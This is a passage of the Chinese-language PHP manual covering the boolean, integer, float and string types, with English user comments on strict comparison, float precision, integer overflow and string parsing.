Maybe others grasped this simple little difference in the fact that you need to evaluate on the boolean itself, rather than the value as depending upon the assignment method, the value for FALSE can have one of several true values.
25-Jan-2006 08:00
Just a supplement to johnjc-phpdoc's post:

This
if ( strpos($needle,$haystack) !== false )

is not the same as
if (!strpos($needle,$haystack) === false )

for the reason he states, namely, strpos does not evaluate to true, ever.
johnjc-phpdoc at publicinfo dot net
02-Nov-2005 01:38
The === and !== are not fully documented in either the Comparison Operator or Booleans type sections. They are talked about a bit more in the sections on strpos() and array_search() but they refer you to the section on Booleans for further information.

I am putting my contribution on === and !== in the Booleans section with pointers to it from the comment areas of other sections.

This refers only to the use of === and !== with functions like strpos() and array_search() which may a needle at character 0 in a string or element 0 in an array. Because the 0 returned by the function evaluates to == 'false' === and !== are used.  You can say
<?php if ( strpos($needle,$haystack) !== false ) { print "found it\n"; } ?>
and you can say
<?php if ( strpos($needle,$haystack) === false ) { print "didn't find it\n"; } ?>
but you cannot say
<?php if ( strpos($needle,$haystack) === true ) { print "found it \n"; } ?>
nor can you say
<?php if ( strpos($needle,$haystack) !== true ) { print "didn't find it\n"; } ?>

This is because strpos() and array_search do not return 'true' when successful and the numbers they return do not evaluate to === true.  So you cannot use 'true' in any way with these functions.

I frequently find myself adding string elements to an array as I find them and using the growing array as my record of what has already been done such as
<?php if ( array_search($needle,$haystack) !== false ) { print "done one of those already\n"; } ?>
or
<?php if ( array_search($needle,$haystack) === false ) { print "got a new one\n"; array_push($haystack,$needle) } ?>

The more natural way to say this would have been the other way around:
<?php if ( array_search($needle,$haystack) === true ) { print "done one of those already\n"; } ?>
or
<?php if ( array_search($needle,$haystack) !== true ) { print "got a new one\n"; array_push($haystack,$needle) } ?>
because you don't go around saying, "if this is not false", you say "if this is true".

But that won't work. Now I've had it explained to me it makes sense that the function doesn't return 'true' because it returns a number value instead. And given that === checks the type you can't have the number evaluate to '=== true'. But the result for the user of PHP is counter-intuitive and so deserves specific documenting.
x123 (at) bestof (dash) inter (dot) net
16-Nov-2004 04:24
another correction to the preceding "correction":
"as the documention states" is right,
"any non-empty string is true" is wrong : (bool) "0" === false !
(but "00" and "0.0" etc. are true!)

So watch out, you can NOT test for non-empty strings using e.g.

<?php
if (is_string($s))
  if ($s) echo " '$s' is a non-empty string";
  else echo " '$s' is an empty string"; // wrong for $s='0' !
else echo " $s is not a string ";
?>

indeed, for $s='0' this would print: " '0' is an empty string"
which is wrong, of course.
This is particularly "dangerous" in connection with MySQL
which prints FALSE by default as 0,
which comes back from a FORM POST as string '0',
while PHP prints FALSE as empty string (!);
a similar problem is to preserve a NULL value through a FORM post....
adama at NO-UBE dot augustinefam dot org
24-May-2003 01:13
Just a correction to the 29-Apr-2003 10:49 posting. The first section of the comment, where

 $myBool = true ;  print( $myBool ) ;
 is indistinguishable from
 print( "" ) ;
 likewise,
 $myBool = false ; print( $myBool ) ;
 is indistinguishable from
 print( 1 ) ;

is backwards. It should actually be

 $myBool = true ;  print( $myBool ) ;
 is indistinguishable from
 print( 1 ) ; //corrected
 likewise,
 $myBool = false ; print( $myBool ) ;
 is indistinguishable from
 print( "" ) ; //corrected

The posting makes a good point, though. Don't expect the contents of a string to mean something special. As the documentation states, any non-empty string is true, including "false" since it is simply a non-empty string.
add a note add a note

后退 | 起点 | 前进
类型 | 上一级 | 整型


整型

一个 integer 是集合 Z = {..., -2, -1, 0, 1, 2, ...} 中的一个数。

参见任意长度整数（GMP），浮点数和任意精度数学库（BCMath）。

语法

整型值可以用十进制，十六进制或八进制符号指定，前面可以加上可选的符号（- 或者 +）。

如果用八进制符号，数字前必须加上 0（零），用十六进制符号数字前必须加上 0x。

例子 11-1. 整数文字表达

<?php
$a = 1234; // 十进制数
$a = -123; // 一个负数
$a = 0123; // 八进制数（等于十进制的 83）
$a = 0x1A; // 十六进制数（等于十进制的 26）
?>
在字面上，整型变量正式的结构可以为：

decimal     : [1-9][0-9]*
            | 0

hexadecimal : 0[xX][0-9a-fA-F]+

octal       : 0[0-7]+

integer     : [+-]?decimal
            | [+-]?hexadecimal
            | [+-]?octal

整型数的字长和平台有关，尽管通常最大值是大约二十亿（32 位有符号）。PHP 不支持无符号整数。

警告

如果向八进制数传递了一个非法数字（即 8 或 9），则后面其余数字会被忽略。

例子 11-2. 八进制数的怪事

<?php
var_dump(01090); // 010 octal = 8 decimal
?>

整数溢出

如果给定的一个数超出了 integer 的范围，将会被解释为 float。同样如果执行的运算结果超出了 integer 范围，也会返回 float。

<?php
$large_number =  2147483647;
var_dump($large_number);
// 输出为：int(2147483647)

$large_number =  2147483648;
var_dump($large_number);
// 输出为：float(2147483648)

// 同样也适用于十六进制表示的整数：
var_dump( 0x80000000 );
// 输出为：float(2147483648)

$million = 1000000;
$large_number =  50000 * $million;
var_dump($large_number);
// 输出为：float(50000000000)
?>

警告

不幸的是 PHP 中有个 bug，因此当有负数参与时结果并不总是正确。例如当运算 -50000 * $million 时结果是 -429496728。不过当两个运算数都是正数时就没问题。

这个问题已经在 PHP 4.1.0 中解决了。

PHP 中没有整除的运算符。1/2 产生出 float 0.5。可以总是舍弃小数部分，或者使用 round() 函数。

<?php
var_dump(25/7);         // float(3.5714285714286)
var_dump((int) (25/7)); // int(3)
var_dump(round(25/7));  // float(4)
?>

转换为整形

要明示地将一个值转换为 integer，用 (int) 或 (integer) 强制转换。不过大多数情况下都不需要强制转换，因为当运算符，函数或流程控制需要一个 integer 参数时，值会自动转换。还可以通过函数 intval() 来将一个值转换成整型。

参见类型戏法。

从布尔值转换

FALSE 将产生出 0（零），TRUE 将产生出 1（壹）。

从浮点数转换

当从浮点数转换成整数时，数字将被取整（丢弃小数位）。

如果浮点数超出了整数范围（通常为 +/- 2.15e+9 = 2^31），则结果不确定，因为没有足够的精度使浮点数给出一个确切的整数结果。在此情况下没有警告，甚至没有任何通知！

【译者注】在 Linux 下返回结果是最小负数（-2147483648），而在 Windows 下返回结果是零（0）。

警告

决不要将未知的分数强制转换为 integer，这样有时会导致意外的结果。

<?php
echo (int) ( (0.1+0.7) * 10 ); // 显示 7！
?>

更多信息见浮点数精度。

从字符串转换

参见字符串转换为数字。

从其它类型转换

注意

没有定义从其它类型转换为整型的行为。目前的行为和值先转换为布尔值一样。不过不要依靠此行为，因为它会未加通知地改变。

add a note add a note User Contributed Notes
rickard_cedergren at yahoo dot com
27-Jan-2005 05:15
When doing large subtractions on 32 bit unsigned integers the result sometimes end up negative. My example script converts a IPv4 address represented as a 32 bit unsigned integer to a dotted quad (similar to ip2long()), and adds a "fix" to the operation.

   /**************************
   * int_oct($ip)
   * Convert INTeger rep of IP to octal (dotted quad)
   */
   function int_oct($ip) {

     /* Set variable to float */
     settype($ip, float);

     /* FIX for silly PHP integer syndrome */
     $fix = 0;
     if($ip > 2147483647) $fix = 16777216;

     if(is_numeric($ip)) {
         return(sprintf("%u.%u.%u.%u",
               $ip / 16777216,
               (($ip % 16777216) + $fix) / 65536,
               (($ip % 65536) + $fix / 256) / 256,
               ($ip % 256) + $fix / 256 / 256
               )
     );
     }
     else {
         return('');
     }
   }
24-Dec-2003 02:18
Sometimes you need to parse an unsigned
32 bit integer. Here's a function I 've used:

   function parse_unsigned_int($string) {
       $x = (float)$string;
       if ($x > (float)2147483647)
           $x -= (float)"4294967296";
       return (int)$x;
   }
laercio at gcsnet dot com dot br
02-Nov-2002 09:02
Hi,

To easily solve this problem of math operations compile your PHP with --enable-bcmath and use its set of intruction:
 bcadd, bccomp, bcdiv, bcmod, bcmul, bcpow, bcscale, bcsqrt, bcsub.
No more flotpoint problems.
The intruction can be found on this manual.

Laercio Fortes
tim at freeman dot little-possums dot net dot invalid
15-Jan-2002 04:20
> there is no risk of rounding errors when doing (int)(n1/n2).

This is not quite true.  Although both n1 and n2 can be represented exactly in a float, their quotient often cannot be.  It is not even guaranteed that for floating-point arithmetic, 6.0/3.0==2.0 exactly.  The floating-point answer may be 1.999...etc, which would round down to 1.
add a note add a note

后退 | 起点 | 前进
布尔型 | 上一级 | 浮点型


浮点型

浮点数（也叫浮点数，双精度数或实数）可以用以下任何语法定义：

<?php
$a = 1.234;
$a = 1.2e3;
$a = 7E-10;
?>

形式上：

LNUM          [0-9]+
DNUM          ([0-9]*[\.]{LNUM}) | ({LNUM}[\.][0-9]*)
EXPONENT_DNUM ( ({LNUM} | {DNUM}) [eE][+-]? {LNUM})

浮点数的字长和平台相关，尽管通常最大值是 1.8e308 并具有 14 位十进制数字的精度（64 位 IEEE 格式）。

浮点数精度

显然简单的十进制分数如同 0.1 或 0.7 不能在不丢失一点点精度的情况下转换为内部二进制的格式。这就会造成混乱的结果：例如，floor((0.1+0.7)*10) 通常会返回 7 而不是预期中的 8，因为该结果内部的表示其实是类似 7.9999999999...。

这和一个事实有关，那就是不可能精确的用有限位数表达某些十进制分数。例如，十进制的 1/3 变成了 0.3333333. . .。

所以永远不要相信浮点数结果精确到了最后一位，也永远不要比较两个浮点数是否相等。如果确实需要更高的精度，应该使用任意精度数学函数或者 gmp 函数。

转换为浮点数

如果希望了解有关何时和如何将字符串转换成浮点数的信息，请查阅“将字符串转换为数值”一节。对于其它类型的值，其情况类似于先将值转换成整型，然后再转换成浮点。请参阅“转换为整型”一节以获取更多信息。自 PHP 5 起，如果试图将对象转换为浮点数，会发出一条通知。

add a note add a note User Contributed Notes
david at davidmosesNO dot SPAM dot ca
26-Mar-2006 05:48
Re: rick at ninjafoo dot com

There is no need to always use the BCMath functions. We just need to heed the documentation and never compare floating point numbers for equality.

The reason (19.6*100) !== (double)1960, is because inside a computer they are not equal.

Try this:

<?php

printf("%.15f", (19.6*100));

?>

Outputs: 1960.000000000000227 (not 1960 as somewhat expected)

If comparison is required a few options come to mind (other than BCMath):

1) Round numbers before comparison:

<?php

$sig_figs = 5;
echo (round((19.6*100), $sig_figs) !== round((double)1960, $sig_figs)) ? 'not equal' : 'equal';

?>

Outputs: equal

2) Another method is to use a tolerance value, and consider numbers equal if their difference is less than the tolerance.
justin at jennnixon dot com
22-Nov-2005 08:00
I was playing around with a benchmark script:

<?php

$st = array_sum (explode (' ', microtime ()));

ob_start ();

for ($i = 1; $i < 10000; $i++) {
   echo "<!-- Hello, World! " .  ($i % round(sqrt($i*2))) ^ $i .  " -->\n";
}

ob_end_flush ();

echo round ((array_sum (explode (' ',microtime ())) - $st), 5) . "\n";

?>

Be careful with numbers, they can print out inpredictable things.  (For example, this printed out [uncommented])...
&#6410; &#2671;&#3352;&#3328;&#4363; &#2927;&#3344;&#3328;&#4875; &#2927;&#3346;&#3328;&#5387; &#2927;&#3348;&#3328;&#5899; &#2927;&#3350;&#3328;&#6411; &#2927;&#3352;&#3328;&#4356; &#1135;&#3344;&#3328;&#4868; &#1135;&#3346;&#3328;&#5380; &#1135;&#3348;&#3328;&#5892; &#1135;&#3350;&#3328;&#6404; &#1135;&#3352;&#3328;&#4357; &#1391;&#3344;&#3328;&#4869; &#1391;&#3346;&#3328;&#5381; &#1391;&#3348;&#3328;&#5893; &#1391;&#3350;&#3328;&#6405; ...
Luzian
17-Nov-2005 04:03
Be careful when using float values in strings that are used as code later, for example when generating JavaScript code or SQL statements. The float is actually formatted according to the browser's locale setting, which means that "0.23" will result in "0,23". Imagine something like this:

$x = 0.23;
$js = "var foo = doBar($x);";
print $js;

This would result in a different result for users with some locales. On most systems, this would print:

var foo = doBar(0.23);

but when for example a user from Germany arrives, it would be different:

var foo = doBar(0,23);

which is obviously a different call to the function. JavaScript won't state an error, additional arguments are discarded without notice, but the function doBar(a) would get 0 as parameter. Similar problems could arise anywhere else (SQL, any string used as code somewhere else). The problem persists, if you use the "." operator instead of evaluating the variable in the string.

So if you REALLY need to be sure to have the string correctly formatted, use number_format() to do it!
TRI0N
24-Sep-2005 10:01
Here is a simple formula to break down a number and get rid of the decimal values.  I built this to take a number in seconds and convert it to a readable value for Server Uptimes.

<?php
$day = floor(($uptime / 86400)*1.0) ;
$calc1 = $day * 86400 ;
$calc2 = $uptime - $calc1 ;
$hour = floor(($calc2 / 3600)*1.0) ;
if ($hour < 10) {
$hour = "0".$hour ;
}
$calc3 = $hour * 3600 ;
$calc4 = $calc2 - $calc3 ;
$min = floor(($calc4 / 60)*1.0) ;
if ($min < 10) {
$min = "0".$min ;
}
$calc5 = $min * 60 ;
$sec = floor(($calc4 - $calc5)*1.0) ;
if ($min < 10) {
$sec = "0".$sec ;
}
$uptime2 = $day." Days, ".$hour.":".$min.":".$sec ;
?>

Place this where you want the results to be seen:
<?php echo $uptime2 ; ?>

For a Value of 1455587 seconds the results will show as followed:
16 Days, 20:19:47

Enjoy
rick at ninjafoo dot com
06-Jul-2005 04:04
Concider the following:

(19.6*100) != 1960

echo gettype(19.6*100) returns 'double', However even .....

(19.6*100) !== (double)1960

19.6*100 cannot be compaired to anything without manually
casting it as something else first.

(string)(19.6*100) == 1960

Rule of thumb, if it has a decimal point, use the BCMath functions.
vic at liveforspeed dot net
25-Mar-2005 04:48
I couldn't find any function to read a float from a file written by C++ (PC?) for example. This format has reversed byte order compared to PHP and in addition, there is just no bin2float function afaik, so I wrote my own binary float 2 usable php float import function.
It does not support SNaN and QNaN values though (didn't need to check for them for my purpose).
Hope it'll be to some use for some:

<?
// $bin must be 4 bytes, MSB first (Most Significant Byte)
function bin2float ($bin) {
   $float = (float) 0;

   // Read Exponent and Sign (+/-)
   $exponent = ord ($bin{3});
   if ($sign = $exponent & 128) $exponent -= 128;
   $exponent <<= 1;

   // Read the remaining bit for Exponent and loop through Mantissa, calculating the Fraction
   $fraction = (float) 1;
   $div = 1;
   for ($x=2; $x>=0; $x--) {
       $byte = ord ($bin{$x});
       for ($y=7; $y>=0; $y--) {
         if ($x==2 && $y==7) {
           if ($byte & (1 << $y)) $exponent += 1;
         } else {
           $div *= 0.5;
           if ($byte & (1 << $y)) $fraction += $div;
         }
       }
   }

   // 0 value check
   if (!$exponent && $fraction == 1) return 0;

   // Final calc, returning the converted float
   $exponent -= 127;

   $float = pow (2, $exponent) * $fraction;
   if ($sign) $float = -($float);

   return $float;
}

echo bin2float (chr (0xb1).chr (0x5c).chr (0xbc).chr (0x41))."\n";
echo bin2float (chr (0x00).chr (0x18).chr (0x5c).chr (0x3f))."\n";
echo bin2float (chr (0).chr (0).chr (160).chr (193))."\n";
echo bin2float (chr (0).chr (0).chr (0).chr (0));
?>

returns:
23.5452594757
0.859741210938
-20
0

(to understand the workings of floats better, I found http://www.randelshofer.ch/fhw/gri/float.html to be a good reference)
edsko at edsko dot net
17-Feb-2005 08:31
The formal specification of the floating point numbers as specified above is not complete. For one thing, it is not immediately obvious which of the three rules describes "floating point numbers" (in general). The disjunction of all three perhaps? My interpretation is that a floating point number is either a DNUM or an EXPONENT_DNUM.

Moreover, the specification as stated does not allow for signs (+ or -). Yet, PHP does actually allow for signs in the specification of floating point numbers (as one would expect):

<?php
$f = (float) "-0.5";
var_dump($f); // outputs "float(-0.5)"
?>

Thus, the following specification is more complete:

FLOAT          [+-]?({DNUM}|{EXPONENT_DNUM})
LNUM            [0-9]+
DNUM            ([0-9]*[\.]{LNUM}) | ({LNUM}[\.][0-9]*)
EXPONENT_DNUM  ( ({LNUM} | {DNUM}) [eE][+-]? {LNUM})
feline at NOSPAM dot penguin dot servehttp dot com
13-Aug-2004 09:36
General computing hint: If you're keeping track of money, do yourself and your users the favor of handling everything internally in cents and do as much math as you can in integers. Store values in cents if at all possible. Add and subtract in cents. At every operation that wii involve floats, ask yourself "what will happen in the real world if I get a fraction of a cent here" and if the answer is that this operation will generate a transaction in integer cents, do not try to carry fictional fractional accuracy that will only screw things up later.
gallico_ at hotmail dot com
07-Sep-2003 11:34
To complete the thread about testing two floating point numbers for equality, here's the way it works for *every* programming language:

<?php
// two fp numbers should be considered equal if their absolute
// difference does not exceed a certain value epsilon:
$epsilon = 0.0001; // this defines the precision of your comparision
// check their absolute difference
if (abs($one_float - $another_float) < $epsilon)
   // what to be done in case the numbers are equal goes here
?>
james dot cridland at virginradio dot co dot uk
28-Apr-2003 10:44
The 'floating point precision' box in practice means:

<? echo (69.1-floor(69.1)); ?>
Think this'll return 0.1?
It doesn't - it returns 0.099999999999994

<? echo round((69.1-floor(69.1))); ?>
This returns 0.1 and is the workaround we use.

Note that
<? echo (4.1-floor(4.1)); ?>
*does* return 0.1 - so if you, like us, test this with low numbers, you won't, like us, understand why all of a sudden your script stops working, until you spend a lot of time, like us, debugging it.

So, that's all lovely then.
dev at maintainfit dot com
16-Apr-2003 02:27
I was programming an accounting application in MySql that required me to sum a collection of floats and ensure that they equal zero before commiting a transaction, but as seen above a sum of floats cannot always be trusted (as was my case).  I kept getting a very small remainder (like 1.4512431231e-14).  Since I had used number_format(num,2) to set the precision of the numbers in the database to only two (2) decimal places, when the time comes to calculate the sum I simply multiply every number by ten (10), therby eliminating and decimal places and leaving me with integers to preform my sum.  This worked great.
01-Apr-2003 06:20
In response to "...the author probably knows what they are talking about..." above:

Of course the author knows what they're talking about. The previous poster missunderstood the semantics of the author's example of the decimal representation of 1/3. The author is not suggesting that some property of decimal numbers causes the behaviour, but that the property of finite binary representations of real numbers which does cause the problem is shared by finite decimal representations. To paraphrase, the author is saying "10*(0.1+0.7) gives 7.99999... because of the binary equivalent of the fact that 1/3+2/3 gives 0.99999... when using finite decimal representations (where 1/3 == 0.33333... and 2/3 == 0.66666..., so 1/3+2/3 == (0.33333...)+(0.66666...) == 0.99999... instead of 1)."

The problem occurs with finite representations of real numbers, regardless of base of the number system used.
Theo Diem
27-Mar-2003 02:35
Just to mention ....

$something = "12.20";
$value = (float) $something;

Depending you locale settings (see setlocale) this will return a float number 12.2 or 12 (without decimal part, if you locale uses another symbol than dot for decimal part)

Be aware if u are working with PHP using one locale setting (by setlocale) and a SQL database with other locale ....
Julian Suggate
10-Mar-2003 10:22
Never never never compare floats for equality! Even a >= is asking too much of any binary computer (that's pretty much all of them ;-). It will sometimes work, but the best you can hope for is a subtle bug that will occasionally cause non-deterministic behaviour.

Floats must only ever be used for proper inequalities.
backov at spotbrokers-nospamplz dot com
06-Mar-2003 05:16
I'd like to point out a "feature" of PHP's floating point support that isn't made clear anywhere here, and was driving me insane.

This test (where var_dump says that $a=0.1 and $b=0.1)

if ($a>=$b) then echo "blah!";

Will fail in some cases due to hidden precision (standard C problem, that PHP docs make no mention of, so I assumed they had gotten rid of it). I should point out that I originally thought this was an issue with the floats being stored as strings, so I forced them to be floats and they still didn't get evaluated properly (probably 2 different problems there).

To fix, I had to do this horrible kludge (the equivelant of anyway):

if (round($a,3)>=round($b,3)) then echo "blah!";

THIS works. Obviously even though var_dump says the variables are identical, and they SHOULD BE identical (started at 0.01 and added 0.001 repeatedly), they're not. There's some hidden precision there that was making me tear my hair out. Perhaps this should be added to the documentation?
www.sarioz.com
05-Feb-2003 02:49
just a comment on something the "Floating point precision" inset, which goes: "This is related to .... 0.3333333."

While the author probably knows what they are talking about, this loss of precision has nothing to do with decimal notation, it has to do with representation as a floating-point binary in a finite register, such as while 0.8 terminates in decimal, it is the repeating 0.110011001100... in binary, which is truncated.  0.1 and 0.7 are also non-terminating in binary, so they are also truncated, and the sum of these truncated numbers does not add up to the truncated binary representation of 0.8 (which is why (floor)(0.8*10) yields a different, more intuitive, result).  However, since 2 is a factor of 10, any number that terminates in binary also terminates in decimal.
28-Sep-2002 02:45
much easier:

  e.g. round(3.1415927,2) => 3.14
       round(1092,-2) => 1100
jeroen at php dot net
24-May-2001 10:13
If you want to round a floating point number to the nearest multiple of some number n, use the following trick:

$rounded = round($number / n) * n

For example, to round 12874.49 to the nearest 100-multiple (i.e. 12900), use
$rounded = round($number / 100) * 100

Use ceil() or floor() if you want to round down/up.
add a note add a note

后退 | 起点 | 前进
整型 | 上一级 | 字符串


字符串

string 是一系列字符。在 PHP 中，字符和字节一样，也就是说，一共有 256 种不同字符的可能性。这也暗示 PHP 对 Unicode 没有本地支持。请参阅函数 utf8_encode() 和 utf8_decode() 以了解有关 Unicode 支持。

注: 一个字符串变得非常巨大也没有问题，PHP 没有给字符串的大小强加实现范围，所以完全没有理由担心长字符串。

语法

字符串可以用三种字面上的方法定义。

  • 单引号

  • 双引号

  • 定界符

单引号

指定一个简单字符串的最简单的方法是用单引号（字符 '）括起来。

要表示一个单引号，需要用反斜线（\）转义，和很多其它语言一样。如果在单引号之前或字符串结尾需要出现一个反斜线，需要用两个反斜线表示。注意如果试图转义任何其它字符，反斜线本身也会被显示出来！所以通常不需要转义反斜线本身。

注: 在 PHP 3 中，此情况下将发出一个 E_NOTICE 级的警告。

注: 和其他两种语法不同，单引号字符串中出现的变量和转义序列不会被变量的值替代。

<?php
echo 'this is a simple string';

echo 'You can also have embedded newlines in
strings this way as it is
okay to do';

// Outputs: Arnold once said: "I'll be back"
echo 'Arnold once said: "I\'ll be back"';

// Outputs: You deleted C:\*.*?
echo 'You deleted C:\\*.*?';

// Outputs: You deleted C:\*.*?
echo 'You deleted C:\*.*?';

// Outputs: This will not expand: \n a newline
echo 'This will not expand: \n a newline';

// Outputs: Variables do not $expand $either
echo 'Variables do not $expand $either';
?>

双引号

如果用双引号（"）括起字符串，PHP 懂得更多特殊字符的转义序列：

表格 11-1. 转义字符

序列 | 含义
\n | 换行（LF 或 ASCII 字符 0x0A（10））
\r | 回车（CR 或 ASCII 字符 0x0D（13））
\t | 水平制表符（HT 或 ASCII 字符 0x09（9））
\\ | 反斜线
\$ | 美元符号
\" | 双引号
\[0-7]{1,3} | 此正则表达式序列匹配一个用八进制符号表示的字符
\x[0-9A-Fa-f]{1,2} | 此正则表达式序列匹配一个用十六进制符号表示的字符

此外，如果试图转义任何其它字符，反斜线本身也会被显示出来！

双引号字符串最重要的一点是其中的变量名会被变量值替代。细节参见字符串解析。

定界符

另一种给字符串定界的方法使用定界符语法（“<<<”）。应该在 <<< 之后提供一个标识符，然后是字符串，然后是同样的标识符结束字符串。

结束标识符必须从行的第一列开始。同样，标识符也必须遵循 PHP 中其它任何标签的命名规则：只能包含字母数字下划线，而且必须以下划线或非数字字符开始。

警告

很重要的一点必须指出，结束标识符所在的行不能包含任何其它字符，可能除了一个分号（;）之外。这尤其意味着该标识符不能被缩进，而且在分号之前和之后都不能有任何空格或制表符。同样重要的是要意识到在结束标识符之前的第一个字符必须是你的操作系统中定义的换行符。例如在 Macintosh 系统中是 \r。

如果破坏了这条规则使得结束标识符不“干净”，则它不会被视为结束标识符，PHP 将继续寻找下去。如果在这种情况下找不到合适的结束标识符，将会导致一个在脚本最后一行出现的语法错误。

不能用定界符语法初始化类成员。用其它字符串语法替代。

例子 11-3. 非法的例子

<?php
class foo {
    public $bar = <<<EOT
bar
EOT;
}
?>

定界符文本表现的就和双引号字符串一样，只是没有双引号。这意味着在定界符文本中不需要转义引号，不过仍然可以用以上列出来的转义代码。变量会被展开，但当在定界符文本中表达复杂变量时和字符串一样同样也要注意。

例子 11-4. 定界符字符串例子

<?php
$str = <<<EOD
Example of string
spanning multiple lines
using heredoc syntax.
EOD;

/* More complex example, with variables. */
class foo
{
    var $foo;
    var $bar;

    function foo()
    {
        $this->foo = 'Foo';
        $this->bar = array('Bar1', 'Bar2', 'Bar3');
    }
}

$foo = new foo();
$name = 'MyName';

echo <<<EOT
My name is "$name". I am printing some $foo->foo.
Now, I am printing some {$foo->bar[1]}.
This should print a capital 'A': \x41
EOT;
?>

注: 定界符支持是 PHP 4 中加入的。

变量解析

当用双引号或者定界符指定字符串时，其中的变量会被解析。

有两种语法，一种简单的和一种复杂的。简单语法最通用和方便，它提供了解析变量，数组值，或者对象属性的方法。

复杂语法是 PHP 4 引进的，可以用花括号括起一个表达式。

简单语法

如果遇到美元符号（$），解析器会尽可能多地取得后面的字符以组成一个合法的变量名。如果想明示指定名字的结束，用花括号把变量名括起来。

<?php
$beer = 'Heineken';
echo "$beer's taste is great"; // works, "'" is an invalid character for varnames
echo "He drank some $beers";   // won't work, 's' is a valid character for varnames
echo "He drank some ${beer}s"; // works
echo "He drank some {$beer}s"; // works
?>

同样也可以解析数组索引或者对象属性。对于数组索引，右方括号（]）标志着索引的结束。对象属性则和简单变量适用同样的规则，尽管对于对象属性没有像变量那样的小技巧。

<?php
// These examples are specific to using arrays inside of strings.
// When outside of a string, always quote your array string keys
// and do not use {braces} when outside of strings either.

// Let's show all errors
error_reporting(E_ALL);

$fruits = array('strawberry' => 'red', 'banana' => 'yellow');
// Works but note that this works differently outside string-quotes
echo "A banana is $fruits[banana].";
// Works
echo "A banana is {$fruits['banana']}.";

// Works but PHP looks for a constant named banana first
// as described below.
echo "A banana is {$fruits[banana]}.";

// Won't work, use braces.  This results in a parse error.
echo "A banana is $fruits['banana'].";

// Works
echo "A banana is " . $fruits['banana'] . ".";

// Works

echo "This square is $square->width meters broad.";
// Won't work. For a solution, see the complex syntax.
echo "This square is $square->width00 centimeters broad.";
?>

对于任何更复杂的情况，应该使用复杂语法。

复杂（花括号）语法

不是因为语法复杂而称其为复杂，而是因为用此方法可以包含复杂的表达式。

事实上，用此语法可以在字符串中包含任何在名字空间的值。仅仅用和在字符串之外同样的方法写一个表达式，然后用 { 和 } 把它包含进来。因为不能转义“{”，此语法仅在 $ 紧跟在 { 后面时被识别（用“{\$”或者“\{$”来得到一个字面上的“{$”）。用一些例子可以更清晰：

<?php
// Let's show all errors
error_reporting(E_ALL);

$great = 'fantastic';

// 不行，输出为：This is { fantastic}
echo "This is { $great}";

// 可以，输出为：This is fantastic
echo "This is {$great}";
echo "This is ${great}";

// Works
echo "This square is {$square->width}00 centimeters broad.";

// Works
echo "This works: {$arr[4][3]}";
// This is wrong for the same reason as $foo[bar] is wrong
// outside a string.  In otherwords, it will still work but
// because PHP first looks for a constant named foo, it will
// throw an error of level E_NOTICE (undefined constant).
echo "This is wrong: {$arr[foo][3]}";
// Works.  When using multi-dimensional arrays, always use
// braces around arrays when inside of strings
echo "This works: {$arr['foo'][3]}";

// Works.
echo "This works: " . $arr['foo'][3];

echo "You can even write {$obj->values[3]->name}";

echo "This is the value of the var named $name: {${$name}}";
?>

访问和修改字符串中的字符

字符串中的字符可以通过在字符串之后用花括号指定所要字符从零开始的偏移量来访问和修改。

注: 为了向下兼容，仍然可以用方括号。不过此语法自 PHP 4 起已过时。

例子 11-5. 一些字符串例子

<?php
// Get the first character of a string
$str = 'This is a test.';
$first = $str{0};
// Get the third character of a string
$third = $str{2};

// Get the last character of a string.
$str = 'This is still a test.';
$last = $str{strlen($str)-1};

// Modify the last character of a string
$str = 'Look at the sea';
$str{strlen($str)-1} = 'e';

?>

实用函数及操作符

字符串可以用“.”（点）运算符连接。注意这里不能用“+”（加）运算符。更多信息参见字符串运算符。

有很多实用函数来改变字符串。

普通函数见字符串函数一节，高级搜索和替换见正则表达式函数（两种风格：Perl 和 POSIX 扩展）。

还有 URL 字符串函数，以及加密／解密字符串的函数（mcrypt 和 mhash）。

最后，如果还是找不到想要的函数，参见字符类型函数。

字符串转换

可以用 (string) 标记或者 strval() 函数将一个值转换为字符串。当某表达式需要字符串时，字符串的转换会在表达式范围内自动完成。例如当使用 echo() 或者 print() 函数时，或者将一个变量值与一个字符串进行比较的时候。阅读手册中有关类型和类型戏法中的部分有助于更清楚一些。参见 settype()。

布尔值 TRUE 将被转换为字符串 "1"，而值 FALSE 将被表示为 ""（即空字符串）。这样就可以随意地在布尔值和字符串之间进行比较。

整数或浮点数数值在转换成字符串时，字符串由表示这些数值的数字字符组成（浮点数还包含有指数部分）。

数组将被转换成字符串 "Array"，因此无法通过 echo() 或者 print() 函数来输出数组的内容。请参考下文以获取更多提示。

对象将被转换成字符串 "Object"。如果因为调试需要，需要将对象的成员变量打印出来，请阅读下文。如果希望得到该对象所依附的类的名称，请使用函数 get_class()。自 PHP 5 起，如果合适可以用 __toString() 方法。

资源类型总是以 "Resource id #1" 的格式被转换成字符串，其中 1 是 PHP 在运行时给资源指定的唯一标识。如果希望获取资源的类型，请使用函数 get_resource_type()。

NULL 将被转换成空字符串。

正如以上所示，将数组、对象或者资源打印出来，并不能提供任何关于这些值本身的有用的信息。请参阅函数 print_r() 和 var_dump()，对于调试来说，这些是更好的打印值的方法。

可以将 PHP 的值转换为字符串以永久地储存它们。这种方法被称为序列化，可以用函数 serialize() 来完成该操作。如果在安装 PHP 时建立了 WDDX 支持，还可以将 PHP 的值序列化为 XML 结构。

字符串转换为数值

当一个字符串被当作数字来求值时，根据以下规则来决定结果的类型和值。

如果包括“.”，“e”或“E”其中任何一个字符的话，字符串被当作 float 来求值。否则就被当作整数。

该值由字符串最前面的部分决定。如果字符串以合法的数字数据开始，就用该数字作为其值，否则其值为 0（零）。合法数字数据由可选的正负号开始，后面跟着一个或多个数字（可选地包括十进制分数），后面跟着可选的指数。指数是一个“e”或者“E”后面跟着一个或多个数字。

<?php
$foo = 1 + "10.5";                // $foo is float (11.5)
$foo = 1 + "-1.3e3";              // $foo is float (-1299)
$foo = 1 + "bob-1.3e3";           // $foo is integer (1)
$foo = 1 + "bob3";                // $foo is integer (1)
$foo = 1 + "10 Small Pigs";       // $foo is integer (11)
$foo = 4 + "10.2 Little Piggies"; // $foo is float (14.2)
$foo = "10.0 pigs " + 1;          // $foo is float (11)
$foo = "10.0 pigs " + 1.0;        // $foo is float (11)
?>

此转换的更多信息见 Unix 手册中关于 strtod(3) 的部分。

如果想测试本节中的任何例子，可以拷贝和粘贴这些例子并且加上下面这一行自己看看会发生什么：

<?php
echo "\$foo==$foo; type is " . gettype ($foo) . "<br />\n";
?>

不要指望在将一个字符转换成整型时能够得到该字符的编码（可能也会在 C 中这么做）。如果希望在字符编码和字符之间转换，请使用 ord() 和 chr() 函数。

add a note add a note User Contributed Notes
umeetsriram at yahoo dot com
30-May-2006 07:03
The string can be viewed as an array.

if i say $str = 'string'

echo $str[0] // will print s
